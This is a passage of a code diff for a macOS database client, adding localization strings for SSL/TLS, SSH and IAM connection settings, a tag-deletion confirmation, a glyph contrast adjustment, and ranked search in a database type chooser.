hidden" : { + }, "How plans, devices and offline files work." : { @@ -93622,6 +93870,9 @@ } } } + }, + "Identifier Case" : { + }, "Identity" : { "localizations" : { @@ -95625,6 +95876,9 @@ } } } + }, + "In Keychain" : { + }, "in list" : { "localizations" : { @@ -95678,6 +95932,22 @@ } } }, + "In the connection's SSL/TLS settings, check that the Key under Client Certificates is a valid PEM private key." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, choose the server's CA certificate under Verify Identity or Verify CA. Required (skip verify) also connects, but does not check the certificate." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, set SSL Mode to Disabled." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, set SSL Mode to Verify Identity, or to Required to skip the certificate check." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "In the sidebar, the inspector and data grid column header tooltips." : { }, @@ -98781,6 +99051,9 @@ } } } + }, + "Instance Connection Name" : { + }, "Instance connection name must be project:region:instance" : { "localizations" : { @@ -100470,6 +100743,9 @@ }, "It expires on %@. Create a new one in your account and import it." : { + }, + "It is removed from ^[%lld connection](inflect: true). This cannot be undone." : { + }, "It is used by “%@” in %@, which will have no shortcut." : { "localizations" : { @@ -105890,6 +106166,9 @@ } } } + }, + "Limits what MCP clients, scripts and shortcuts can do with this connection, whatever their token allows." : { + }, "Line" : { "localizations" : { @@ -108991,6 +109270,9 @@ } } } + }, + "Local environment" : { + }, "Local File" : { "extractionState" : "manual", @@ -109116,6 +109398,9 @@ } } } + }, + "Local Only" : { + }, "Local only, not synced to iCloud" : { "localizations" : { @@ -109196,6 +109481,9 @@ } } } + }, + "Local Port" : { + }, "Local port must be between 1 and 65535" : { "localizations" : { @@ -111310,9 +111598,15 @@ }, "Match System follows Sidebar icon size in System Settings." : { + }, + "Match the pattern against column names or column types" : { + }, "Match what I type" : { + }, + "Match What I Type" : { + }, "Match what I type, otherwise lowercase" : { "extractionState" : "manual", @@ -112465,6 +112759,9 @@ } } } + }, + "Maximum time to open the database. Leave blank to use the %d-second default." : { + }, "Maximum time to wait for a query to complete. Set to 0 for no limit. Applied to new connections." : { "localizations" : { @@ -114922,6 +115219,9 @@ "Moon" : { "extractionState" : "manual", "generatesSymbol" : false + }, + "More" : { + }, "More tables follow. Pass LastEvaluatedTableName as ExclusiveStartTableName." : { "extractionState" : "manual", @@ -118311,6 +118611,9 @@ } } } + }, + "New Profile…" : { + }, "New Query" : { "localizations" : { @@ -121604,6 +121907,9 @@ } } } + }, + "No Jump Hosts" : { + }, "No Kerberos ticket was found." : { "extractionState" : "manual", @@ -121845,6 +122151,9 @@ }, "No longer in the team library" : { + }, + "No Masking Rules" : { + }, "No matches" : { "localizations" : { @@ -123880,6 +124189,9 @@ } } } + }, + "No saved connection uses it. This cannot be undone." : { + }, "No saved connection with ID \"%@\"." : { "localizations" : { @@ -133266,6 +133578,9 @@ } } } + }, + "Opens the database file set in General, on this Mac. For a file on another computer, choose Remote Server over SSH." : { + }, "Opens the Pro plan details in your browser." : { "localizations" : { @@ -137325,6 +137640,9 @@ } } } + }, + "Paste Connection URL" : { + }, "Paste the JSON below and save" : { "localizations" : { @@ -139905,6 +140223,9 @@ } } } + }, + "Policy" : { + }, "Port" : { "extractionState" : "manual", @@ -140727,6 +141048,12 @@ } } } + }, + "Preferred tries TLS first and connects without it when the server offers none. Use Required for AWS RDS, Cloud SQL, Heroku, Supabase and Neon." : { + + }, + "Preferred tries TLS first and connects without it when the TLS handshake fails. Use Required for Cloud SQL and Azure Database for MySQL, which refuse an unencrypted connection." : { + }, "Preferred tries TLS first, falls back to plain." : { @@ -143222,6 +143549,9 @@ } } } + }, + "Production environment" : { + }, "Production reader" : { "localizations" : { @@ -143676,6 +144006,9 @@ } } } + }, + "Prompt for API Token" : { + }, "Prompt for password" : { "localizations" : { @@ -143716,6 +144049,9 @@ } } } + }, + "Prompt for Password" : { + }, "Prompt template" : { "localizations" : { @@ -146049,6 +146385,9 @@ } } } + }, + "Query Timeout" : { + }, "Query timeout applies only to database drivers that support it. Use 0 for no limit. Reconnect to apply changes." : { "localizations" : { @@ -151349,6 +151688,9 @@ } } } + }, + "Remote Server over SSH" : { + }, "Remote SQLite session disconnected." : { @@ -161655,6 +161997,9 @@ } } } + }, + "Save API Token" : { + }, "Save As" : { "localizations" : { @@ -162258,6 +162603,9 @@ } } } + }, + "Save Password" : { + }, "Save replaces the whole document with this text. A field you remove is removed, and _id cannot change." : { "localizations" : { @@ -168337,6 +168685,9 @@ } } } + }, + "Server not reachable" : { + }, "Server output" : { "localizations" : { @@ -169740,6 +170091,9 @@ } } } + }, + "Sets when the assistant and MCP clients may read this connection." : { + }, "Settings" : { "extractionState" : "manual", @@ -169788,6 +170142,9 @@ }, "Settings sections" : { + }, + "Settings the new type can't use are listed before anything changes." : { + }, "Settings:" : { "extractionState" : "stale", @@ -173279,6 +173636,9 @@ } } } + }, + "Shows the setting to fix" : { + }, "Shows the version and Check for Updates under the app icon. An available update is shown either way." : { "localizations" : { @@ -174108,6 +174468,9 @@ } } } + }, + "Sign-in failed" : { + }, "Sign-in timed out" : { "localizations" : { @@ -174486,6 +174849,9 @@ } } } + }, + "Signing In…" : { + }, "Signing out" : { @@ -174561,6 +174927,9 @@ } } } + }, + "Signs in with this Mac's Application Default Credentials, from “gcloud auth application-default login” or GOOGLE_APPLICATION_CREDENTIALS." : { + }, "Signs in with your account" : { @@ -177935,6 +178304,9 @@ } } } + }, + "SSH & Proxies" : { + }, "SSH Agent" : { "extractionState" : "manual", @@ -179129,6 +179501,9 @@ } } } + }, + "SSL/TLS settings" : { + }, "SSO portal returned HTTP %lld for profile \"%@\"." : { "extractionState" : "manual", @@ -179277,6 +179652,9 @@ }, "Staging" : { + }, + "Staging environment" : { + }, "Stale Statistics" : { @@ -179604,6 +179982,9 @@ } } } + }, + "Startup" : { + }, "Startup Commands" : { "localizations" : { @@ -186760,6 +187141,9 @@ } } } + }, + "TablePro can’t open “%@”." : { + }, "TablePro can't pass any value of type %2$@ to %1$@." : { "extractionState" : "manual", @@ -186864,6 +187248,9 @@ "TablePro compiles it again with debug information (PLSQL_OPTIMIZE_LEVEL=1) and keeps its other settings. Compiling commits." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "TablePro connects through the jump hosts in order, then the SSH server. A jump host signs in with a key file or the SSH agent." : { + }, "TablePro connects to the first broker over a tunnel. Partitions led by other brokers cannot be read." : { "localizations" : { @@ -187059,6 +187446,9 @@ }, "TablePro could not read the saved token. Type it to test." : { + }, + "TablePro could not read the SSH profiles on this Mac." : { + }, "TablePro could not read the Table Health history: %@" : { @@ -187833,6 +188223,9 @@ } } } + }, + "TablePro opens database files, SQL files, data files, connection shares and plugins." : { + }, "TablePro reads .tablepro files saved without a passphrase from these folders. Their connections appear read only in the sidebar." : { @@ -192070,6 +192463,9 @@ }, "The changes are in an open transaction on this connection. Commit or roll it back yourself." : { + }, + "The changes to “%@” can't be saved yet." : { + }, "The changes were edited while the save was checking other tables. Save again to include them." : { @@ -192901,6 +193297,9 @@ } } } + }, + "The connection is not encrypted." : { + }, "The connection is not open." : { "localizations" : { @@ -200058,6 +200457,9 @@ "The SSH port %lld is not between 1 and 65535." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "The SSH profile this connection uses isn't on this Mac." : { + }, "The SSH profile this connection uses now points to another server. Click Reconnect in its window to use it." : { @@ -200299,6 +200701,9 @@ } } } + }, + "The SSH server needs python3." : { + }, "The SSH server would not forward the socket %@. Check that the path exists on the server and that sshd allows socket forwarding (AllowStreamLocalForwarding). (%@)" : { "localizations" : { @@ -201855,6 +202260,9 @@ } } } + }, + "The URL matches this connection." : { + }, "The user cancelled this operation." : { "localizations" : { @@ -203495,6 +203903,9 @@ } } } + }, + "This connection has not been saved yet." : { + }, "This connection has open HANDLER cursors, which reconnecting would close." : { "extractionState" : "manual", @@ -205027,6 +205438,9 @@ "This driver cannot send rows to COPY FROM STDIN." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "This driver doesn't support %@." : { + }, "This driver has no TLS fallback. Preferred forces TLS, same as Required." : { "localizations" : { @@ -207658,6 +208072,9 @@ } } } + }, + "This profile isn't on this Mac." : { + }, "This profile will be permanently deleted." : { "localizations" : { @@ -210637,6 +211054,9 @@ } } } + }, + "TLS handshake failed" : { + }, "TLS handshake failed: %@" : { "extractionState" : "manual", @@ -215223,6 +215643,9 @@ } } } + }, + "Unix Socket" : { + }, "Unix Timestamp (milliseconds)" : { "localizations" : { @@ -218283,6 +218706,9 @@ } } } + }, + "Use IAM Database Authentication" : { + }, "Use Key" : { @@ -220651,6 +221077,14 @@ } } }, + "Verify CA needs a CA certificate. In the connection's SSL/TLS settings, choose the CA certificate that signed the server's certificate, or set SSL Mode to Verify Identity." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Verify CA needs a CA certificate. In the etcd section of the connection's Advanced settings, choose the CA Certificate that signed the server's certificate, or set TLS Mode to Verify Identity." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Verify CA needs a CA certificate. In the etcd section of the Options tab, choose the CA Certificate that signed the server's certificate, or set TLS Mode to Verify Identity." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -224882,6 +225316,9 @@ } } } + }, + "With IAM, the username in General is the IAM principal, such as a user email or name@project.iam, and no password is sent." : { + }, "With Increase Contrast on, the window uses the system background." : { diff --git a/apple/TablePro/Views/Connection/ConnectionColorPicker.swift b/apple/TablePro/Views/Connection/ConnectionColorPicker.swift deleted file mode 100644 index a169cc7934..0000000000 --- a/apple/TablePro/Views/Connection/ConnectionColorPicker.swift +++ /dev/null @@ -1,31 +0,0 @@ -// -// ConnectionColorPicker.swift -// TablePro -// - -import SwiftUI - -/// Color picker for the per-connection color selector. Includes "None". -struct ConnectionColorPicker: View { - @Binding var selectedColor: ConnectionColor - - var body: some View { - ColorPaletteView(selectedColor: $selectedColor, includesNone: true, size: .regular) - } -} - -#Preview { - struct PreviewWrapper: View { - @State private var color: ConnectionColor = .none - - var body: some View { - VStack(spacing: 20) { - ConnectionColorPicker(selectedColor: $color) - Text("Selected: \(color.rawValue)") - } - .padding() - } - } - - return PreviewWrapper() -} diff --git a/apple/TablePro/Views/Connection/ConnectionTagEditor.swift b/apple/TablePro/Views/Connection/ConnectionTagEditor.swift index 60080cbf2a..a5913ffa82 100644 --- a/apple/TablePro/Views/Connection/ConnectionTagEditor.swift +++ b/apple/TablePro/Views/Connection/ConnectionTagEditor.swift @@ -13,6 +13,7 @@ struct ConnectionTagEditor: View { @Binding var tagIds: [UUID] @State private var allTags: [ConnectionTag] = [] @State private var showingCreateSheet = false + @State private var pendingDeletion: TagDeletion? private let tagStorage = TagStorage.shared private static let logger = Logger(subsystem: "com.TablePro", category: "ConnectionTagEditor") @@ -39,6 +40,23 @@ struct ConnectionTagEditor: View { toggleOn(tag.id) } } + .alert( + pendingDeletion.map { String(format: String(localized: "Delete the tag “%@”?"), $0.tag.name) } ?? "", + isPresented: Binding( + get: { pendingDeletion != nil }, + set: { if !$0 { pendingDeletion = nil } } + ), + presenting: pendingDeletion + ) { deletion in + Button(String(localized: "Delete"), role: .destructive) { deleteTag(deletion.tag) } + Button(String(localized: "Cancel"), role: .cancel) {} + } message: { deletion in + if deletion.connectionCount > 0 { + Text("It is removed from ^[\(deletion.connectionCount) connection](inflect: true). This cannot be undone.") + } else { + Text("No saved connection uses it. This cannot be undone.") + } + } } // Resolves against the store as it is now: another window or iCloud may have added a tag since @@ -102,9 +120,9 @@ struct ConnectionTagEditor: View { Menu("Manage Tags") { ForEach(allTags.filter { !$0.isPreset }) { tag in Button(role: .destructive) { - deleteTag(tag) + confirmDeletion(of: tag) } label: { - Label("Delete \"\(tag.name)\"", systemImage: "trash") + Label("Delete “\(tag.name)”…", systemImage: "trash") } } } @@ -138,6 +156,12 @@ struct ConnectionTagEditor: View { tagIds = ids } + // The tag goes from every connection at once and Cancel in the editor cannot bring it back. + private func confirmDeletion(of tag: ConnectionTag) { + let count = ConnectionStorage.shared.loadConnections().filter { $0.tagIds.contains(tag.id) }.count + pendingDeletion = TagDeletion(tag: tag, connectionCount: count) + } + private func deleteTag(_ tag: ConnectionTag) { tagIds = tagIds.filter { $0 != tag.id } tagStorage.deleteTag(tag, clearingFrom: .shared) @@ -154,6 +178,11 @@ struct ConnectionTagEditor: View { } } +private struct TagDeletion { + let tag: ConnectionTag + let connectionCount: Int +} + // MARK: - Create Tag Sheet private struct CreateTagSheet: View { @@ -161,9 +190,7 @@ private struct CreateTagSheet: View { @State private var tagName: String = "" @State private var tagColor: ConnectionColor = .gray @State private var errorMessage: String? - /// Throwing, because the library refuses a name it already holds. A sheet that dismissed on the - /// attempt applied the tag that was already there, with its colour rather than the one just - /// picked, and said nothing about the difference. + // Throws on a name the library holds, so the sheet stays open instead of applying the old tag's colour. let onSave: (String, ConnectionColor) throws -> Void var body: some View { diff --git a/apple/TablePro/Views/Connection/ConnectionTileView.swift b/apple/TablePro/Views/Connection/ConnectionTileView.swift index fad3cb4973..752fab324e 100644 --- a/apple/TablePro/Views/Connection/ConnectionTileView.swift +++ b/apple/TablePro/Views/Connection/ConnectionTileView.swift @@ -19,6 +19,93 @@ internal enum ConnectionTileMetrics { internal static func glyphPointSize(for size: CGFloat) -> CGFloat { size * 0.5 } + + // Brand hues are picked for a white page, so several (PostgreSQL's blue, Kafka's near black) fail on the dark + // tile. WCAG's 3:1 for a graphic was not enough: the engine marks are thin line art, and antialiasing blends + // their strokes into the tile, so the elephant still vanished. They are lifted to the floor for text instead. + internal static let minimumGlyphContrast: CGFloat = 4.5 + + // The brand colour in Light Mode; in Dark Mode the same hue lifted until it clears the tile. + internal static func glyphColor(brand: NSColor) -> NSColor { + NSColor(name: nil) { appearance in + guard appearance.isDarkTheme else { return brand } + var lifted = brand + appearance.performAsCurrentDrawingAppearance { + lifted = liftedGlyph(brand, onTileLuminance: tileLuminance()) + } + return lifted + } + } + + // The tile as it draws: quaternaryLabelColor over what is behind it, in the current appearance. The window + // background was not enough: the same tile sits on a form card, a sheet and a selected row, all lighter, and the + // elephant measured 2.6:1 in the chooser's selected row. So the floor is met over the lightest of them. + internal static func tileLuminance() -> CGFloat { + guard let tile = NSColor.quaternaryLabelColor.usingColorSpace(.sRGB) else { return 0 } + let alpha = tile.alphaComponent + return tileBackdrops.compactMap { $0.usingColorSpace(.sRGB) }.map { base in + NSColor( + srgbRed: tile.redComponent * alpha + base.redComponent * (1 - alpha), + green: tile.greenComponent * alpha + base.greenComponent * (1 - alpha), + blue: tile.blueComponent * alpha + base.blueComponent * (1 - alpha), + alpha: 1 + ).relativeLuminance + }.max() ?? 0 + } + + private static var tileBackdrops: [NSColor] { + [.windowBackgroundColor, .underPageBackgroundColor, .unemphasizedSelectedContentBackgroundColor] + } + + internal static func contrast(_ first: CGFloat, _ second: CGFloat) -> CGFloat { + (max(first, second) + 0.05) / (min(first, second) + 0.05) + } + + // Raises brightness first, which keeps hue and saturation; only a hue too dark at full brightness + // (pure blue) also gives up saturation. + internal static func liftedGlyph(_ color: NSColor, onTileLuminance tile: CGFloat) -> NSColor { + guard let srgb = color.usingColorSpace(.sRGB) else { return color } + func passes(_ candidate: NSColor) -> Bool { + contrast(candidate.relativeLuminance, tile) >= minimumGlyphContrast + } + guard !passes(srgb) else { return color } + + var hue: CGFloat = 0 + var saturation: CGFloat = 0 + var brightness: CGFloat = 0 + var alpha: CGFloat = 0 + srgb.getHue(&hue, saturation: &saturation, brightness: &brightness, alpha: &alpha) + + let bright = NSColor(hue: hue, saturation: saturation, brightness: 1, alpha: alpha) + if passes(bright) { + var failing = brightness + var passing: CGFloat = 1 + for _ in 0 ..< liftSteps { + let middle = (failing + passing) / 2 + if passes(NSColor(hue: hue, saturation: saturation, brightness: middle, alpha: alpha)) { + passing = middle + } else { + failing = middle + } + } + return NSColor(hue: hue, saturation: saturation, brightness: passing, alpha: alpha) + } + + var passing: CGFloat = 0 + var failing = saturation + for _ in 0 ..< liftSteps { + let middle = (failing + passing) / 2 + if passes(NSColor(hue: hue, saturation: middle, brightness: 1, alpha: alpha)) { + passing = middle + } else { + failing = middle + } + } + return NSColor(hue: hue, saturation: passing, brightness: 1, alpha: alpha) + } + + // Enough halvings to land inside a step no 8-bit channel can express. + private static let liftSteps = 12 } // AppKit twin of `ConnectionTile`: the rail is an `NSTableView` whose cells are `NSTableCellView`s, @@ -124,7 +211,9 @@ internal final class ConnectionTileView: NSView { if let identityColor { glyph.contentTintColor = NSColor(Color.legibleForeground(on: identityColor.color)) } else { - glyph.contentTintColor = isEmphasized ? .alternateSelectedControlTextColor : brandColor + glyph.contentTintColor = isEmphasized + ? .alternateSelectedControlTextColor + : ConnectionTileMetrics.glyphColor(brand: brandColor) } } } diff --git a/apple/TablePro/Views/Connection/PasswordPromptToggle.swift b/apple/TablePro/Views/Connection/PasswordPromptToggle.swift deleted file mode 100644 index 93ff7998eb..0000000000 --- a/apple/TablePro/Views/Connection/PasswordPromptToggle.swift +++ /dev/null @@ -1,84 +0,0 @@ -// -// PasswordPromptToggle.swift -// TablePro -// - -import SwiftUI -import TableProPluginKit - -/// How this connection supplies its password: stored in the Keychain, or asked for on every -/// connect. A password source set elsewhere (a credential profile, or an import that ran a command) -/// keeps its own read-only summary and the plain prompt toggle. -struct PasswordPromptToggle: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - private enum Mode: Hashable { - case keychain - case prompt - } - - private var auth: AuthPaneViewModel { coordinator.auth } - - private var isApiOnly: Bool { - PluginManager.shared.connectionMode(for: coordinator.network.type) == .apiOnly - } - - private var passwordTitle: String { - isApiOnly ? String(localized: "API Token") : String(localized: "Password") - } - - private var mode: Binding { - Binding( - get: { auth.promptForPassword ? .prompt : .keychain }, - set: { setPrompt($0 == .prompt) } - ) - } - - private var promptBinding: Binding { - Binding(get: { auth.promptForPassword }, set: { setPrompt($0) }) - } - - private func setPrompt(_ prompt: Bool) { - coordinator.auth.promptForPassword = prompt - guard prompt else { return } - coordinator.auth.password = "" - if coordinator.auth.additionalFieldValues["usePgpass"] == "true" { - coordinator.auth.additionalFieldValues["usePgpass"] = "" - } - } - - var body: some View { - if let source = auth.passwordSource { - if !auth.promptForPassword { - PasswordSourceSummary(title: passwordTitle, source: source) - PasswordSourceTestView( - source: source, - context: { coordinator.passwordSourceContext() }, - leaseOwner: { coordinator.connectionId }, - refusal: { - coordinator.storage.storeIsTrusted ? nil : PasswordSourceResolver.ResolutionError.storeNotTrusted - } - ) - } - Toggle( - isApiOnly - ? String(localized: "Prompt for API token") - : String(localized: "Prompt for password"), - isOn: promptBinding - ) - } else { - Picker(passwordTitle, selection: mode) { - Text(String(localized: "Store in Keychain")).tag(Mode.keychain) - Text(String(localized: "Ask Every Time")).tag(Mode.prompt) - } - .accessibilityIdentifier("connection-form-password-mode") - if !auth.promptForPassword { - RevealablePasswordField( - title: passwordTitle, - text: $coordinator.auth.password, - requiresAuthentication: auth.storedPasswordState != .absent - ) - } - } - } -} diff --git a/apple/TablePro/Views/Connection/SSHServerFields.swift b/apple/TablePro/Views/Connection/SSHServerFields.swift index 936b4e0500..1b8a71ccd9 100644 --- a/apple/TablePro/Views/Connection/SSHServerFields.swift +++ b/apple/TablePro/Views/Connection/SSHServerFields.swift @@ -3,7 +3,7 @@ import SwiftUI import TableProSSHConfig import TableProSSHTransport -// Server, Authentication, Two-Factor and Jump Hosts sections, shared by the SSH profile editor and the connection form. +// The SSH profile editor's Server, Authentication, Two-Factor and Jump Hosts sections. struct SSHServerFields: View { @Binding var draft: SSHServerDraft let configEntries: [SSHConfigEntry] diff --git a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift index 29704e50b4..3d5c537290 100644 --- a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift +++ b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift @@ -3,6 +3,7 @@ // TablePro // +import AppKit import Combine import Foundation @@ -28,55 +29,69 @@ final class DatabaseTypeChooserModel: ObservableObject { highlightedType = type } + private var query: String { + searchText.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() + } + var filteredTypes: [DatabaseType] { - let trimmed = searchText.trimmingCharacters(in: .whitespacesAndNewlines) - guard !trimmed.isEmpty else { return allTypes } - let needle = trimmed.lowercased() - return allTypes.filter { type in - if type.rawValue.lowercased().contains(needle) { return true } - if let tagline = type.tagline, tagline.lowercased().contains(needle) { return true } - if type.category.displayName.lowercased().contains(needle) { return true } - return false - } + let query = query + guard !query.isEmpty else { return allTypes } + return allTypes.filter { Self.rank(of: $0, for: query) != nil } } + // While searching, the best match leads: its section first, and within a section the closer names first. var groupedTypes: [(category: DatabaseCategory, types: [DatabaseType])] { + let query = query let grouped = Dictionary(grouping: filteredTypes, by: { $0.category }) + guard !query.isEmpty else { + return grouped + .map { (category: $0.key, types: $0.value.sorted { $0.rawValue < $1.rawValue }) } + .sorted { $0.category.sortOrder < $1.category.sortOrder } + } + func rank(_ type: DatabaseType) -> Int { Self.rank(of: type, for: query) ?? .max } return grouped - .map { (category: $0.key, types: $0.value.sorted { $0.rawValue < $1.rawValue }) } - .sorted { $0.category.sortOrder < $1.category.sortOrder } + .map { entry in + (category: entry.key, types: entry.value.sorted { lhs, rhs in + rank(lhs) == rank(rhs) ? lhs.rawValue < rhs.rawValue : rank(lhs) < rank(rhs) + }) + } + .sorted { lhs, rhs in + let left = lhs.types.first.map(rank) ?? .max + let right = rhs.types.first.map(rank) ?? .max + return left == right ? lhs.category.sortOrder < rhs.category.sortOrder : left < right + } } - /// The rows as the list draws them, which is category order and then alphabetical, not the - /// order `filteredTypes` happens to produce. Arrowing has to follow what is on screen. + // Arrowing follows the rows as drawn. var orderedTypes: [DatabaseType] { groupedTypes.flatMap(\.types) } - /// The match a query most plausibly meant, or nil when the query matched nothing. - /// - /// Ranked, and that is the whole point: the filter also matches taglines and category names, so - /// the first row on screen is routinely not the best answer. "PostgreSQL" matches CockroachDB - /// ("Distributed SQL, PostgreSQL-compatible") and PGlite, and CockroachDB sorts ahead of - /// PostgreSQL alphabetically inside Relational. Arming the first row would let Return commit a - /// driver the user never looked at, and on an existing connection a type change resets its - /// credentials, SSL, driver options and transport. + // A name match, never a tagline or category hit among several: Return would commit a driver the user never + // looked at. A sole result is unambiguous whatever matched. var bestMatch: DatabaseType? { - let trimmed = searchText.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() - guard !trimmed.isEmpty else { return nil } + let query = query + guard !query.isEmpty else { return nil } let candidates = orderedTypes - if let exact = candidates.first(where: { $0.rawValue.lowercased() == trimmed }) { - return exact - } - if let prefixed = candidates.first(where: { $0.rawValue.lowercased().hasPrefix(trimmed) }) { - return prefixed - } - if let named = candidates.first(where: { $0.rawValue.lowercased().contains(trimmed) }) { - return named + if let first = candidates.first, let rank = Self.rank(of: first, for: query), rank < Self.otherMatch { + return first } return candidates.count == 1 ? candidates.first : nil } + private static let otherMatch = 3 + + // 0 the exact name, 1 a name prefix, 2 inside the name, 3 the tagline or category; nil no match. + private static func rank(of type: DatabaseType, for query: String) -> Int? { + let name = type.rawValue.lowercased() + if name == query { return 0 } + if name.hasPrefix(query) { return 1 } + if name.contains(query) { return 2 } + if let tagline = type.tagline, tagline.lowercased().contains(query) { return otherMatch } + if type.category.displayName.lowercased().contains(query) { return otherMatch } + return nil + } + func moveHighlight(by offset: Int) { let items = orderedTypes guard !items.isEmpty else { return } @@ -89,12 +104,58 @@ final class DatabaseTypeChooserModel: ObservableObject { highlightedType = items[target] } - /// Keeps a highlight the query still shows, and otherwise arms the best match, or nothing. - /// - /// Never falls back to the first row: a query that matched only taglines leaves the highlight - /// nil and Continue dimmed, which is correct, because no row is a defensible default there. + // Each query arms its best match, so typing on past a prefix PGlite matched lands on PostgreSQL. Without one the + // highlight stays while it is still on screen, and a tagline-only query arms nothing. private func settleHighlight() { + if let best = bestMatch { + highlightedType = best + return + } if let current = highlightedType, orderedTypes.contains(current) { return } - highlightedType = bestMatch + highlightedType = nil + } +} + +// The check Welcome runs after the chooser (WelcomeViewModel+ConnectionCreation), shared so a type change +// inside the editor asks the same question before it applies. +@MainActor +internal enum DatabaseTypeInstallCheck { + internal enum Requirement: Equatable, Sendable { + case ready + case install + } + + // A bundled driver that did not load is disabled or damaged: no download fixes it, the connect says which. + nonisolated internal static func requirement(isInstalled: Bool, isDownloadable: Bool) -> Requirement { + !isInstalled && isDownloadable ? .install : .ready + } + + internal static func requirement(for type: DatabaseType) -> Requirement { + requirement( + isInstalled: PluginManager.shared.isDriverInstalled(for: type), + isDownloadable: type.isDownloadablePlugin + ) + } + + // True when the type can be used now: installed already, or the user agreed and the install finished. + internal static func ensureInstalled(_ type: DatabaseType, window: NSWindow?) async -> Bool { + if !PluginManager.shared.isDriverInstalled(for: type) { + await PluginManager.shared.waitForInitialLoad() + } + guard requirement(for: type) == .install else { return true } + + let confirmed = await AlertHelper.confirm( + title: String(localized: "Plugin Not Installed"), + message: String( + format: String(localized: "The %@ plugin is not installed. Would you like to install it?"), + type.displayName + ), + confirmButton: String(localized: "Install"), + window: window + ) + guard confirmed else { return false } + return await PluginInstallPrompt.run(pluginName: type.displayName, window: window) { onBegin in + try await PluginManager.shared.installMissingPlugin(for: type, onBegin: onBegin) + } } } diff --git a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift index 268b6269a3..f902fa91a0 100644 --- a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift +++ b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift @@ -6,6 +6,12 @@ import SwiftUI struct DatabaseTypeChooserSheet: View { + enum Purpose { + case newConnection + case changeType + } + + let purpose: Purpose let initialType: DatabaseType? let onSelected: (DatabaseType) -> Void let onImportFromURL: (() -> Void)? @@ -15,17 +21,46 @@ struct DatabaseTypeChooserSheet: View { @Environment(\.dismiss) private var dismiss init( + purpose: Purpose = .newConnection, initialType: DatabaseType? = nil, onSelected: @escaping (DatabaseType) -> Void, onImportFromURL: (() -> Void)? = nil, onCancel: @escaping () -> Void = {} ) { + self.purpose = purpose self.initialType = initialType self.onSelected = onSelected self.onImportFromURL = onImportFromURL self.onCancel = onCancel } + private var title: String { + switch purpose { + case .newConnection: return String(localized: "Choose a Database") + case .changeType: return String(localized: "Change Database Type") + } + } + + private var subtitle: String { + switch purpose { + case .newConnection: return String(localized: "Pick the type of database you want to connect to.") + case .changeType: return String(localized: "Settings the new type can't use are listed before anything changes.") + } + } + + private var commitTitle: String { + switch purpose { + case .newConnection: return String(localized: "Continue") + case .changeType: return String(localized: "Change") + } + } + + // Changing to the type the connection already has would change nothing. + private var canCommit: Bool { + guard let highlighted = model.highlightedType else { return false } + return purpose == .newConnection || highlighted != initialType + } + var body: some View { VStack(spacing: 0) { header @@ -34,8 +69,7 @@ struct DatabaseTypeChooserSheet: View { Divider() footer } - // Pinned width, flexible height: the HIG allows a resizable sheet when people may want to - // expand the list, while keeping the sensible default size. + // Pinned width, flexible height: the HIG allows a resizable sheet when people may want a longer list. .frame(minWidth: 560, maxWidth: 560, minHeight: 440, idealHeight: 520, maxHeight: 860) .onAppear { model.preselect(initialType) @@ -45,25 +79,23 @@ struct DatabaseTypeChooserSheet: View { private var header: some View { HStack(alignment: .center, spacing: 16) { VStack(alignment: .leading, spacing: 2) { - Text(String(localized: "Choose a Database")) + Text(verbatim: title) .font(.headline) - Text(String(localized: "Pick the type of database you want to connect to.")) + Text(verbatim: subtitle) .font(.subheadline) .foregroundStyle(.secondary) } Spacer() - /// Arrow keys are handed over by the search field's own `NSSearchFieldDelegate`, which - /// is the only route: a focused field editor consumes them as `doCommandBySelector:` - /// before `onMoveCommand` or `onKeyPress` can see them, and `searchFocused` is - /// macOS 15. `onSubmit` stays unwired, or Return would commit through both the field - /// editor and Continue's `.defaultAction`. + // The field editor eats arrows before onMoveCommand sees them, so the delegate hands them over. + // onSubmit stays unwired: Return already reaches the commit button's .defaultAction. NativeSearchField( text: $model.searchText, placeholder: String(localized: "Search"), onMoveUp: { model.moveHighlight(by: -1) }, onMoveDown: { model.moveHighlight(by: 1) }, + focusOnAppear: true, accessibilityIdentifier: "database-type-chooser-search" ) .frame(width: 180) @@ -78,9 +110,16 @@ struct DatabaseTypeChooserSheet: View { .frame(maxWidth: .infinity, maxHeight: .infinity) } else { ScrollViewReader { proxy in + // The category is an untagged row rather than a section header: a header pins to the top as a + // translucent bar, and the rows scrolling under it smeared through. List(selection: $model.highlightedType) { ForEach(model.groupedTypes, id: \.category) { section in Section { + Text(verbatim: section.category.displayName) + .font(.subheadline.weight(.semibold)) + .foregroundStyle(.secondary) + .accessibilityAddTraits(.isHeader) + .listRowSeparator(.hidden) ForEach(section.types, id: \.self) { type in DatabaseTypeChooserRow( type: type, @@ -91,8 +130,6 @@ struct DatabaseTypeChooserSheet: View { .id(type) .listRowSeparator(.hidden) } - } header: { - Text(section.category.displayName) } } } @@ -100,7 +137,7 @@ struct DatabaseTypeChooserSheet: View { .contextMenu(forSelectionType: DatabaseType.self) { _ in EmptyView() } primaryAction: { selection in - if let type = selection.first { commit(type) } + if let type = selection.first, purpose == .newConnection || type != initialType { commit(type) } } .onAppear { if let initialType { @@ -135,14 +172,14 @@ struct DatabaseTypeChooserSheet: View { } .keyboardShortcut(.cancelAction) - Button(String(localized: "Continue")) { - if let type = model.highlightedType { + Button(commitTitle) { + if canCommit, let type = 